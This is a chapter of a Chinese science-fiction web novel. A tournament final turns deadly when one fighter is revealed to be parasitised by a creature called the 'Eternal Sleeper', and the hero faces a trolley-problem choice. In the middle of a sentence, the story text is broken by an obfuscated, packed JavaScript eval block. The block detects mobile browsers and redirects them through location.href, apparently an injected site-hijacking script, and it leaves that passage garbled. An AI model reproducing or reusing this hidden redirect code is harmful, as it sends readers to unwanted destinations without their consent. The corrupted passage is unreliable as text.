顾骄都愣了,迟疑地看着他,仿生人? “不原谅也没关系!”见他没有马上回答,敖天立刻找补,试图打感情牌,“你看啊,我们初赛就认识了,现在又一起晋级决赛,这是多难得的缘分!” “我这个人,一向不看重名利,冠军不冠军的根本不重要,我纯是为了交朋友来的,现在咱们就交个朋友咋样?” 交朋友倒是没问题,但现在是比赛时间,顾骄想了想,对敖天说:“那你能答应我一件事吗?” 敖天殷勤搓手:“好的好的。” 别说答应一件事,现在顾骄就是让他趴地上cos敖犬他也一百个愿意啊! 顾骄:“那我们约好了,对战的时候不可以用精神力。” 敖天小鸡啄米点头:“没问题啊没问题,还有吗?” 顾骄摇摇头,“其余的我们就各凭本事吧。” 敖天:“收到。” 观众席上。 “他们在干什么?” 眼看比赛时间一点点过去,对战双方不仅没有开打的意思,还聊得火热,大家表示不解。 这是化敌为友了? 不要哇! 他们大把的钱还压在这两人身上! 极少数知情者暗中看了眼在观众席落座的沈月卿,心里有了猜测。 敖天是暗域的人,而顾骄与暗域领主形影不离,疑似恋人,他哪敢对自家首领心尖尖上的人下狠手。 看来决赛要变成友情表演赛咯! 这么说,现在场上站着的两位都算是暗域的人,也不知道联邦高层们看在眼里作何感想,心里大概不好受吧? 在众人各异的目光下,两人总算开打了。 然而与他们之前疾风暴雨般的战斗相比,这次的比赛连毛毛雨都算不上,不仅不用精神力,连出手招式也不紧不慢,像是生怕对方接不上。 不对劲! 顾骄觉得很不对劲。 虽然他们是约好了不用精神力没错,但他记得敖天的搏斗功夫也是相当强劲的。 为什么现在向他袭来的招式却如此……温柔? 擦身而过时,敖天挂着笑脸,悄声说:“大家都是朋友,我就不跟你争冠军了。我们随便过两回合意思意思就行。” 虽然不知道敖天为什么忽然间态度大变,但只要不用精神力,顾骄都没意见。打打杀杀什么的,他最抗拒了。 敖天放水相当明显,顾骄也有着丰富的打假赛经验,两人你来我往,看似势均力敌,实则谁也没有认真投入。 打着打着,敖天似乎累了,出招速度明显放缓,还有些站不稳,整个人非常疲惫。 顾骄:“你还好吗?” 敖天晃晃脑袋,眼睛里满是血丝,“差不多了,咱们下一回合结束吧。” 说完他再次出手,侧身肘击落空,腰部毫无防备地暴露在顾骄面前。这是故意卖了个破绽。 他看起来真的很需要休息,顾骄不想再拉长战线,顺着他的意思直击破绽,想要顺理成章结束比赛。 可就在他出手的瞬间,头皮忽然一阵发麻,强烈的威胁感从脊背直窜上天灵盖。 带着刀刃般锋利鳞片的蛇尾凭空出现,趁着他攻击时无暇自顾,迅速而狠辣地绞住了他的脖子! 看台上的观众本来都要被这场平平淡淡的决赛哄睡着了,骤然感知到精神力波动,一个个惊得猛然坐起,发觉场上的形势早已是翻天覆地。 敖天放出精神体了! 23.第 23 章 敖天的精神体是黑蟒。 蟒身缠绕着坚硬嶙峋的鳞甲,全力防御状态下就连光能枪都无法击破,一旦被它死缠住无法挣脱,精神图景很快就会崩溃,同时对人体产生不可逆转的巨大伤害。 眼看顾骄被困,符辛呼吸一紧,立即看向沈月卿。 却见沈月卿半倚在座位上,长发如瀑,神色如常,指尖规律地敲击扶手,眼中看不出半分紧张或者意外。 符辛只能讪讪转头,自行消化情绪。 脖子刚被蛇尾缠上,顾骄就感觉到了脑海深处传来的剧烈疼痛,他还没学会在体表构建精神墙,但他知道自己必须反击,他能感觉出来,对方这一击目的不是赢他,而是要他的命! 精神力短暂爆发一瞬,将黑蟒强行逼退后全部收回。 顾骄顺利脱身,飞速退至赛场一角,摸摸自己的脖子,红肿刺痛,痒热交加,忍不住生气。 “说好了不用精神力!你……你出尔反尔,我再也不会相信你了!” 敖天看着他,眼神无波,所有的表情都消失了,就像在观察一具尸体。 他左右扭动脖子,发出“喀喀”两声,嘴唇张合,吐出冷漠无情的几个字:“杀了你。” 说完猛地冲上来,和精神体黑蟒一起形成包夹之势。 顾骄惊险避过,气得怒发冲冠,差点把帽子顶掉。 这人!说话不算数也就算了,态度还这么恶劣! 亏自己还相信了他的伪装,早知道在他打翻汤圆的时候就该跟他翻脸!轻易相信别人是没有好下场的!自己真是个笨蛋! 瞬息时间,顾骄在心头把敖天连带着相信敖天的自己狠狠骂了一通。 他的情绪很少有如此大的波动,实在是敖天欺人太甚,脾气上来之后顾骄也顾不上自己一直以来坚持的原则了,现在他只想把面前欺骗他感情的恶人暴揍一顿! 于是他对敖天动手了。 那些他从小练习到大,比什么精神力技巧都要烂熟于心的拳脚功夫。一招一式,有如山水写意,行云流水。 敖天铁一般的拳头完全发挥不出该有的水平,顾骄的招数看似柔弱无力,却在行动间轻松卸去敖天的蛮力,并将其化为己用。 几个回合下来,敖天不仅没能讨到一点好,反而被卸了好几个重要关节,行动受限,剧痛难忍。 从未见过的招数看呆了一排排的观众。 “这就是……来自古武星的神秘力量。” “好、好强……怎么做到的?” 看台不起眼的角落里,李二推着轮椅,同样震惊得瞠目结舌:“老老老老大,顾骄、顾骄他好像有真本事啊!” 坐在轮椅上的展扬神情复杂。 这是他第一次看清顾骄出手。 原来以前自己败给顾骄不是因为对方使了阴招,而是因为对方的手段远远超出了自己的认知。 此刻挨打的人从自己换成敖天,展扬心中五味杂陈。 前两天他在复赛对上敖天,受到对方一通凌虐羞辱,他一直以来的自尊和骄傲碎了一地,从此一蹶不振。 可顾骄,不用精神力都能将敖天打的还不了手。 真不知道自己一直以来都在跟他争什么。 难怪顾骄不愿意和自己认真打一场,在他眼里,他展扬是不是就像个跳梁小丑一样可笑? 展扬心里难受得不行,说不清现在对顾骄是个什么态度。即使知道过去是自己误解了对方,可长久以来形成的偏见不是一朝想通就能立刻放下的,要他立刻转变心态佩服顾骄,他做不到。 他在这里天人交战,那边打得火热。眼看即将完全丧失行动力,敖天果断放弃近身战,转而全力使用精神力攻击。 古武星的功夫对精神体不适用,黑蟒的攻击又快又狠,顾骄也不得不放出自己的精神力迎战。 有上次的教训,这次他收敛了很多,没有放出精神体,只是半实体的精神力,但已经能与敖天打成五五开。 敖天在之前的打斗中受伤严重,几近晕厥,眼球上爬满血丝,整个人已经是摇摇欲坠的状态,可黑蟒却是越战越勇,每一次攻击都散发着狂热气息。 再打下去,敖天的精神力会崩溃。 几个回合碰撞之后,顾骄的脑海中忽然闪过这个念头。 虽然被对方骗了很生气,但经过刚才的一顿暴打,他憋闷的情绪都已经差不多发泄完了。敖天人品是不好,但顾骄不希望他就这么毁在自己手上。 察觉到敖天力竭的瞬间,他把控好精神力强度,猝不及防在对方脑海中震了一下。 强烈的能量波动使敖天瞬间失去知觉,本就绷紧的神经到了极限,两眼一翻,彻底晕了过去。 顾骄上前查看,确认了他真的失去意识,并且没有生命危险。转过身,正要对裁判示意—— 敖天翻白的眼珠又在此时硬生生地翻了回来。 黑蟒再次出现,这次来势更加凶猛! 顾骄大吃一惊,瞪圆了眼睛。 他十分确定,以敖天现在的状态,根本不可能清醒过来,更别说重新释放精神体。 他的精神力早已干涸,强行战斗就是在透支生命! 顾骄实在想不通,敖天和自己到底有多大仇,让他宁可拼着暴毙的风险也要跟自己打。 “你不要命了吗?”他左右腾挪闪避,试图唤醒敖天的理智,“再打下去你会死!会死的!” “你要这么想夺冠,我我我认输,你停下,我认输就是了!” 回应他的是敖天漠然的声音:“你死。” “疯子!”顾骄气坏了。 现在的敖天完全不像个正常人,他面色惨白,双目赤红,神色冷漠如冰,疯狂燃烧着自己的生命,丝毫不计后果,仿佛成为了一尊没有感情的杀戮机器。 就连在状况之外的观众都察觉到他的异常。 “敖天这状态不对劲啊?” “像磕药了。” “别是把脑子磕坏了吧,看着真吓人……” 袁博士眉头紧皱,镜片后的双目锁定敖天的面部,发现从他的眼睑缝隙中探出了几缕绿色的纤细条状物,像是发丝。 不……不是发丝! 看清那东西的瞬间,袁博士脸色大变,猛然起身。 “是永眠者!” 他的声音不大,但说出的内容如同浓墨入水,迅速扩散,霎时间惊呼声四起。 “永眠者?” “敖天被永眠者寄生了!” “快!快击毙他!” “不行,那太危险了!” 整个赛场逐渐被恐慌感染,喧闹声愈演愈烈。得知永眠者的存在,众人当下也顾不得比赛了,第一反应就是逃!人群如流水般往门口涌去,可随即他们发现大门不知什么时候已经关闭了,将开门键按烂了也没有反应。 “有人打开了应急防御系统,我们出不去了!” “快,快去总控室看看!” 与惊慌失措的观众不同,各大学院的表现要镇定得多,他们虽然也对永眠者忌惮万分,但好歹还能坐在椅子上,冷静思考对策。 在听到“永眠者”这三个字从袁博士口中说出来的时候,符辛的后背瞬时就被冷汗浸透,他僵硬地低垂着头,根本不敢看首领的表情。 现场嘈杂不堪,他的周围却是一片死寂。 不知过了多久,他听到首领淡淡开口:“慌什么。” 顾骄对赛场上突如其来的混乱感到不解,直到场外消息传递到他这里,他立刻明白了一切事情的缘由。 联邦学院开设的通识课《异生物认知》中,“永眠者”位于第一顺位。 永眠者,暗域最可怕的异化生物之一。 原型不详,外表为青绿色藤蔓,荆棘密布,体型大可比百丈高楼,小得如柳絮飘丝,能神不知鬼不觉寄生在人的精神图景之中,汲取精神力为养料,将人体变成任由自己操纵的傀儡。 但让它恶名远扬的并不是寄生,而是它堪称变态的繁殖能力,书中将其称为“筑巢”。 永眠者可以在任何有生命的物体身上产卵,只要是鲜活的血肉,都能成为它们孕育新生的温床。它们以其他生物作为巢穴,将根须深深植入其血管之中,直到巢穴油尽灯枯,它们才会转而寻找下一个目标。 要想主动除掉它们,办法只有同归于尽。 被筑巢的生物,永眠者可能从它们身体中的任何一个部位生长出来,过程七窍堵塞、皮开肉绽,痛不欲生。 其无差别的疯狂筑巢行为威胁到了生命体,联邦和暗域唯一一次达成合作,就是在主星全境范围内围剿永眠者,直到它彻底灭绝。 距离围剿行动已经过去了二十多年,原本以为这毒瘤一样的存在早已消失,没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13543995|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到今天却再次在赛场上看到了它的影子。 顾骄很快判断清楚现在的情况。 敖天并没有被筑巢,他现在的情况明显属于寄生,并且是短时间内完成的寄生,永眠者还没能与他的血肉完全共生。 难怪他这些天总是精神恍惚,失魂落魄,因为他被永眠者寄生了,直到刚才比赛才爆发出来,他前后割裂的情感和态度也就有了合理的解释。 从精神体黑蟒出现开始,与顾骄对战的就不再是敖天本人,而是寄生在敖天精神图景之中,透过他的双眼与顾骄对峙的永眠者! 联赛协会迅速商量出数个处理方案,但所有方案都绕不开一个共同风险:永眠者拥有远超异生物平均水平的智力,极端情况下,它可能会操控宿主选择自爆。 它的自爆并不是简单的同归于尽,而是将它自身分裂成成千上万个卵,附着在可接触到的一切生物身上,到时整个赛场都会成为它的卵巢。 激烈的讨论过后,协会拿出了一个让所有人都能达成共识的办法。 “不要试图杀掉他,以免永眠者自爆。” 裁判穿上了厚厚的防护服,将协会商讨出来的情况告知顾骄,现在他的一举一动都牵系着上万人的安危。 “那敖天怎么办?”闪身避开黑蟒的攻击,顾骄出声询问。 敖天的眼睛里塞满了发丝状藤蔓,弯弯扭扭,如蛆虫一般在他的体表爬动,如今他脸色灰败,形容枯槁,肉眼可见地快要承受不住了。 再拖下去,永眠者真的会将他吸干! 裁判在麦里低声说了句什么,向协会传达顾骄的问题。然后他沉默了一会儿,冷静地说:“你是主星人,应该听说过‘人类存续计划’吧。” 顾骄一愣,五百年前面对恒星风暴衍生出的污染区灾难时,联邦提出人类存续计划,同时也是联邦和暗域分割决裂的开始,他当然知道。 只短短一瞬,他就明白了对方的意思。 不论五百年前还是五百年后,不论矛盾体是主星还是整个星际,为了生存,人类总是会做出同样的选择。 裁判:“不可调和的矛盾出现时,舍弃少数人,保全多数人。这是整个星际的通用法则。” 也就是说,他们要顾骄一直耗下去,拖到敖天油尽灯枯而死。 等到敖天死去,需要更换宿主的永眠者自然会从他的躯体中出来,失去宿主它无法自爆,那时就是将它消灭的最好时机。 “没有更好的办法吗?” “这就是最好的办法。” 黑蟒的攻击逐渐疲软下来,已经无法再对顾骄造成实质性的威胁。顾骄知道,那是因为敖天的精神图景正在面临崩溃。 哪怕意识被永眠者操控,他的身体还是会在无底线的疯狂透支中本能地保护自己,尽其所能地挽留生命。 真的要这样做吗? 顾骄不停自问。 他一直都是个缺乏主见的人,胆怯不自信,总是容易相信别人说的话,做事循规蹈矩,怕出差错,怕担责任。 现在天大的责任摆在自己面前,最好的做法就是听从联赛协会的指挥,用敖天一个人的命去换整个赛场上万人的命。 决定不是他做出的,他只是听从吩咐去执行,他不必为任何人的死负责。 此情此景,让顾骄想起从前在母星上听过的“电车困境”。 一辆失控的电车即将撞向被绑在轨道上的五个人,你无法使电车停下,但你有一次改变轨道的机会。拉下拉杆,电车将撞向另一条轨道上的一个人。 现在,顾骄手中握着这道能够改变轨道的拉杆。有人告诉他:拉吧,我们决定用一个人的命换其他所有人的命,你不用担责任。 看上去这是最好的结果。 ……可这真的是最好的结果吗? 不,不是。 短暂思考之后,顾骄想明白了什么,迷茫的神色逐渐变得坚定。他习惯性的闪避动作停了下来,无视裁判的喝令,转而正面迎上黑蟒的攻击。 顾骄的选择从来不仅限于一道拉杆,只不过在拉与不拉的选择之外,所有的做法都需要面临巨大的风险,没人能为他承担。 顾骄讨厌成为焦点,也害怕承担责任。 但这一次,他不想再一无所为。 他有改变一切的力量。 他要让眼前的“电车”停下来。